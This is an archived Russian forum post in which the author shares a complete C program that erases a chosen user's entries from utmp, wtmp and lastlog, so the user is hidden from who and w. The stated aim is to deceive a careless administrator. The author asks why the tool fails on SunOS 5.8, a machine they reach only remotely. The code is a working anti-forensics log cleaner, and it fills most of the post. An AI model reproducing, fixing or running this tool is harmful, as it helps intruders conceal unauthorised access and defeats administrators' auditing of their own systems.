Hi! Вот такая есть прога:
--------------------------------------------------------------------------------
---------------------------------------------
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/var/adm/wtmpx"
#define UTMP_NAME "/var/adm/utmpx"
#define LASTLOG_NAME "/var/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),SEEK_END);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),SEEK_END);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("Djatel! Net uzera: %s v lastlog !!!\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Vse pu4kom ;))\n");
} else
printf("Ebanat! Pravil\'no pisat\' nado!\n");
}
--------------------------------------------------------------------------------
---------------------------------------------
Она должна стирать записи о некотором юзере, что б его небыло видно по who,w,uptime и т.д.
(расчитанно на лоха-админа, который не знает что такое, например, netstat). У меня, под Линухом
RH 6.1, эта прога работает как надо. А вот под СанОС 5.8 нифига она не работает. Иногда висит
тупо на while, а иногда просто ничего не делает.
Может знает кто в чем дело? Я б и сам разобрался, да вот только доступ к той тачке у меня
удаленный, да и манов нет там. Памажыте плз.
Заранее благодарю.
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.
Похожие темы
- Форум Не получается написать прогу (2010)
- Форум Accept блокирует работу (2017)
- Форум Проблемма с выделением памяти в модуле. (2005)
- Форум Сокеты в Си (продолжене) (2005)
- Форум проблема с получением файла на эхо сервере (2016)
- Форум Помогите разобраться с сигналами (2003)
- Форум Си: Стэк (2013)
- Форум Чтение многомерного массива из отраженого файла (2011)
- Форум Клиент, сервер и их правильная работа. (2005)
- Форум Проблема с connect (2006)